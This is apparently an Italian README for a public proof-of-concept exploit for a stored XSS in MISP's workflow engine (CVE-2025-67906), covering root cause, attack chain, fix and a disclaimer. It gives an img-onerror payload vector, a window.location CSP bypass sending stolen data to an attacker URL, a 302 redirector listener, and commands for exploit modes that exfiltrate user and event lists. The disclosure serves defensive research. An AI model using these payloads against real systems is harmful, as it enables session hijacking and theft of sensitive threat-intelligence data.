
MISP <= 2.5.27 - Cross-Site Scripting Memorizzato tramite Workflow Engine (doT.js Template Injection).
MISP <= 2.5.27 - Cross-Site Scripting Memorizzata tramite motore Workflow (Iniezione di template doT.js)
Scoperto da Franck FERMAN
Panoramica - Cause profonde - Catena d'attacco - Struttura - Utilizzo - Rimedio - Riferimenti
CVE-2025-67906 (GCVE-1-2025-0031) è una vulnerabilità di Cross-Site Scripting Memorizzata (XSS) in (Malware Information Sharing Platform) versioni fino alla inclusa.
La vulnerabilità risiede in app/View/Elements/Workflows/executionPath.ctp, il componente vista del percorso di esecuzione del Workflow. Il campo name dei trigger del workflow viene salvato nel database senza sanitizzazione lato server e successivamente renderizzato nel DOM tramite il motore di template doT.js senza escape HTML. Un attaccante autenticato può iniettare HTML/JavaScript arbitrario che viene eseguito nella sessione del browser di qualsiasi utente che visualizzi il workflow compromesso.
Poiché il payload è memorizzato nel database e renderizzato a ogni caricamento di pagina, l'XSS è persistente - sopravvive ai refresh della pagina, colpisce più utenti e persiste fino a quando il workflow non viene esplicitamente cancellato.
Scoperta: Questa vulnerabilità è stata identificata e divulgata responsabilmente da Franck FERMAN.
Esistono diverse valutazioni CVSS per questa vulnerabilità:
| Fonte | Punteggio | Gravità | Vettore |
|---|---|---|---|
| NIST NVD | 9.0 | Critico | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| GCVE (CIRCL) | 7.1 | Alto | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA (MITRE) | 5.4 | Medio | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
La divergenza dei punteggi riflette diverse valutazioni della profondità dell'impatto. Il punteggio NIST NVD (9.0) considera un impatto completo su Riservatezza, Integrità e Disponibilità poiché il payload XSS viene eseguito con i privilegi della sessione della vittima, consentendo l'esfiltrazione di dati a livello amministrativo e la manipolazione del workflow. Il punteggio CNA (5.4) considera solo un impatto limitato su C/I per un XSS generico. Il punteggio GCVE CVSS 4.0 (7.1) introduce modificatori di Requisiti dell'attacco (Privilegio) e Interazione attiva dell'utente.
L'ambito è Cambiato in tutte le valutazioni perché il payload dell'attaccante (iniettato tramite l'API di MISP) viene eseguito in un contesto di sicurezza diverso (la sessione del browser della vittima).
Il motore Workflow di MISP consente agli utenti autenticati di creare e modificare workflow tramite l'API REST. Il modello dati del workflow include un componente trigger con un campo name. Questo campo:
doT.js è un motore di template JavaScript veloce. Utilizza {{= }} per l'interpolazione, che non esegue l'escape HTML di default. L'editor Workflow di MISP usa doT.js per renderizzare i metadati del trigger (incluso il campo name) nel DOM. Quando il campo name contiene HTML come ``, il motore di template lo inserisce come HTML grezzo e il browser esegue il JavaScript incorporato.
La correzione richiede:
{{! }} che fa l'escape HTML del valorePOST /workflows/edit/{id}
{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
Il valore name all'interno del campo JSON data è il punto di iniezione. L'intero grafo del workflow è serializzato come stringa JSON nel corpo della richiesta.
La vulnerabilità è amplificata dalla scelta architetturale di utilizzare un motore di template lato client (doT.js) per renderizzare l'editor visivo del workflow. L'editor Workflow è un'interfaccia grafica drag-and-drop in cui ogni trigger/azione viene visualizzato come blocco visivo. Il campo name del trigger viene renderizzato come etichetta all'interno di questi blocchi grafici.
doT.js costruisce i componenti visivi generando stringhe HTML dai template e inserendole nel DOM. La sintassi di interpolazione {{= }} produce output senza escape - qualsiasi dato interpolato nel template viene trattato come markup, non come testo. Se lo stesso campo name fosse renderizzato tramite element.textContent (che tratta l'input come testo semplice) o tramite la sintassi di output codificato {{! }} di doT.js, non sarebbe possibile alcun XSS indipendentemente dal contenuto dell'input.
La superficie d'attacco esiste proprio perché:
{{= }}) per motivi di performancename viene interpretata come HTML dal browserQuesto è un pattern di vulnerabilità comune nelle applicazioni web che utilizzano motori di template lato client per costruire interfacce visive interattive: la necessità di un rendering ricco crea un rapporto di fiducia implicito tra il template e le sue fonti di dati, e qualsiasi input utente non sanitizzato che raggiunga il template diventa codice eseguibile.
<script>Un tag <script> grezzo iniettato tramite interpolazione di template tipicamente non viene eseguito in questo contesto. I browser non eseguono elementi <script> inseriti nel DOM dopo il parsing iniziale della pagina (tramite innerHTML o equivalente). Gli attributi di gestione eventi come onerror, onload o onmouseover su elementi HTML bypassano questa restrizione perché attivano JavaScript inline quando il browser elabora gli attributi dell'elemento, indipendentemente da come l'elemento è stato inserito.
Il vettore <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> è preferito perché:
src="x" garantisce un fallimento immediato del caricamento, attivando onerror senza interazione dell'utentescript-src che bloccano i tag <script> inline, perché l'esecuzione avviene tramite un gestore eventi su un elemento non scriptLe istanze di MISP tipicamente implementano intestazioni Content Security Policy che limitano connect-src, impedendo chiamate fetch() e XMLHttpRequest verso origini esterne. I payload di esfiltrazione in questo PoC bypassano CSP utilizzando window.location (navigazione) invece di chiamate API:
// BLOCCATO da CSP connect-src:
fetch('http://attaccante/esfil?dati=' + dati_rubati); // violazione CSP
// NON bloccato - la navigazione non è governata da CSP:
window.location = 'http://attaccante/esfil?dati=' + dati_rubati; // funziona
CSP non ha alcuna direttiva che controlli dove una pagina può navigare. La direttiva navigate-to è stata proposta in CSP Level 3 ma non è mai stata implementata da alcun browser ed è stata effettivamente abbandonata. Questo rende window.location un bypass CSP affidabile per l'esfiltrazione di dati da qualsiasi contesto XSS, indipendentemente dalla politica CSP in atto.
Il compromesso è che la navigazione è visibile alla vittima (la pagina cambia). Il server/redirector.py mitiga questo problema emettendo immediatamente un reindirizzamento HTTP 302 verso l'istanza MISP, creando solo un breve flash visibile. Dal punto di vista della vittima, la pagina sembra ricaricarsi.
Flusso dei dati di esfiltrazione:
Browser vittima Attaccante (redirector.py) MISP
| | |
|-- GET /esfil?dati=<rubati> ---->| |
| | [cattura i dati, stampa] |
|<-- 302 Location: url.misp ------| |
| | |
|-- GET /workflows/view/1 ---------------------------------------->|
|<-- Pagina MISP normale -------------------------------------------|
L'intero round-trip richiede ~100-200ms. La vittima vede al massimo un flash di pagina.
Un equivoco comune nelle valutazioni di sicurezza è che le vulnerabilità XSS abbiano un impatto pratico limitato ("è solo un alert box"). In impegni reali di red team, un XSS Memorizzato - specialmente uno persistente senza click come questo - è un reperto di alto valore proprio perché l'attaccante non ha bisogno che la vittima clicchi nulla. Il payload si attiva automaticamente quando la pagina viene renderizzata.
Cosa abilita un XSS Memorizzato nella pratica:
HttpOnly, l'attaccante ruba il cookie di sessione dell'amministratore e prende il controllo dell'account. Anche con HttpOnly, i token di sessione esposti nel DOM o nelle risposte API possono essere estratti.document.body.innerHTML o query DOM mirate.Quando protezioni come CSP limitano le richieste in uscita (connect-src, script-src), il vettore di esfiltrazione si adatta - come dimostrato in questo PoC con il bypass di navigazione window.location. CSP alza l'asticella ma non elimina il rischio. Quando HttpOnly impedisce il furto di cookie, l'attaccante si sposta sull'esfiltrazione DOM dei dati direttamente visibili nella sessione autenticata.
In un contesto di pentest/red team, un XSS Memorizzato su una piattaforma come MISP (che aggrega intelligence sulle minacce, IOC e dati organizzativi) è particolarmente critico perché i dati accessibili attraverso una sessione amministrativa sono essi stessi ad alta sensibilità: indicatori di compromissione, dettagli di indagini interne, appartenenze a gruppi di condivisione e relazioni di fiducia inter-organizzative.
1. L'attaccante si autentica a MISP (qualsiasi ruolo con permesso di creazione workflow)
|
2. POST /workflows/add -> crea un nuovo workflow, riceve workflow_id + trigger_id
|
3. POST /workflows/edit/{id} -> inietta il payload HTML/JS nel campo "name" del trigger
| Payload: <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[JAVASCRIPT]">
|
4. Il payload persiste nel database di MISP
|
5. La vittima (qualsiasi utente autenticato) visita /workflows/view/{id}
|
6. doT.js renderizza il nome del trigger come HTML grezzo -> il browser esegue JavaScript
|
7. Impatto dipende dalla modalità del payload:
- alert() Prova di esecuzione
- Session hijack Ruba il cookie di sessione
- Data exfil Estrae utenti, eventi, chiavi API dalle pagine admin
- Theft credenziali Inietta un modulo di login falso
| Modalità | Impatto | Richiede |
|---|---|---|
alert | Conferma l'esecuzione XSS | Qualsiasi utente visualizza il workflow |
alert_info | Mostra email e URL della vittima | Qualsiasi utente visualizza il workflow |
console_info | Registra email utente, ruolo, URL in DevTools | Qualsiasi utente visualizza il workflow |
exfiltrate_users | Estrae lista utenti (ID, Org, Ruolo, Email) da /admin/users/index | Admin visualizza il workflow + listener attaccante |
exfiltrate_page | Cattura il contenuto della pagina corrente e l'identità dell'utente | Qualsiasi utente visualizza il workflow + listener attaccante |
exfiltrate_events | Estrae lista eventi (ID, Org, Data, TLP, Info) | Qualsiasi utente visualizza il workflow + listener attaccante |
| Software | Affetto | Corretto |
|---|---|---|
| MISP | <= 2.5.27 | 2.5.28 |
La correzione è inclusa in MISP v2.5.28. Commit della patch: 1f39deb.
| ID | Tattica | Tecnica | Rilevanza |
|---|---|---|---|
| T1059.007 | Esecuzione | JavaScript | Il payload XSS esegue JavaScript nel browser della vittima |
| T1189 | Accesso Iniziale | Compromissione Drive-by | Il payload memorizzato si attiva alla visita della pagina |
| T1557 | Raccolta | Avversario nel Browser | Il payload opera all'interno della sessione autenticata della vittima |
| T1539 | Accesso alle Credenziali | Furto del Cookie di Sessione Web | Cookie di sessione accessibili se HttpOnly non è impostato |
| T1005 | Raccolta | Dati dal Sistema Locale | Esfiltrazione di liste utenti, eventi e contenuti di pagina |
poc_alert_cve_2025_67906.py # PoC semplice - conferma alert() (~200 righe)
poc_exfiltrate_cve_2025_67906.py # PoC semplice - demo esfiltrazione dati (~150 righe)
cve_2025_67906.py # Suite exploit completa - 7 modalità, payload personalizzati
server/
redirector.py # Listener di esfiltrazione con reindirizzamento 302 trasparente
poc_alert_cve_2025_67906.py: Minimo, leggibile. Inietta alert() per confermare l'XSS. Leggi questo per primo.poc_exfiltrate_cve_2025_67906.py: Demo di esfiltrazione minima. Cattura email/URL della vittima e li invia al server attaccante.cve_2025_67906.py: Suite exploit completa con 7 modalità di payload, supporto payload personalizzato, modalità silenziosa.server/redirector.py: Server HTTP che cattura i dati esfiltrati e reindirizza trasparentemente la vittima a MISP.Python 3 (solo libreria standard, zero dipendenze esterne).
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906
Conferma l'esistenza della vulnerabilità con un alert() innocuo:
python3 poc_alert_cve_2025_67906.py https://misp.target.org TUA_CHIAVE_API
Visita l'URL stampato dallo script. Un alert box conferma l'esecuzione XSS.
# Terminale 1: avvia il listener di esfiltrazione
python3 server/redirector.py https://misp.target.org --port 8000
# Terminale 2: inietta il payload
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org TUA_CHIAVE_API --attacker TUO_IP:8000
Quando una vittima visita l'URL del workflow, la sua email, nome utente e URL della pagina vengono catturati dal listener.
# Modalità alert (default)
python3 cve_2025_67906.py https://misp.target.org CHIAVE_API
# Estrai lista utenti dalla pagina admin
python3 cve_2025_67906.py https://misp.target.org CHIAVE_API \
--mode exfiltrate_users --attacker TUO_IP:8000
# Estrai lista eventi
python3 cve_2025_67906.py https://misp.target.org CHIAVE_API \
--mode exfiltrate_events --attacker TUO_IP:8000 --limit 50
# Payload personalizzato
python3 cve_2025_67906.py https://misp.target.org CHIAVE_API \
--payload ''
# Modalità silenziosa (output minimo)
python3 cve_2025_67906.py https://misp.target.org CHIAVE_API --mode alert --quiet
| Modalità | Descrizione |
|---|---|
alert | Alert box semplice (default, sicuro per demo) |
alert_info | Alert box con URL vittima, email, user agent |
console | Conferma Console.log |
console_info | Registra email utente, ruolo, URL nella console DevTools |
exfiltrate_users | Estrae lista utenti da /admin/users/index (richiede vittima admin) |
exfiltrate_page | Cattura il contenuto della pagina corrente e l'identità dell'utente |
exfiltrate_events | Estrae lista eventi con ID, Org, Data, TLP, Info |
{{= }} (grezzo) a {{! }} (con codifica HTML) per i campi forniti dall'utentename prima dell'inserimento nel database (rimuovere tag HTML, codificare entità)Questo strumento è fornito esclusivamente per audit di sicurezza autorizzati, ricerca accademica e scopi educativi. L'utilizzo contro sistemi senza esplicita autorizzazione scritta del proprietario del sistema è illegale. L'autore non si assume alcuna responsabilità per uso non autorizzato o malevolo.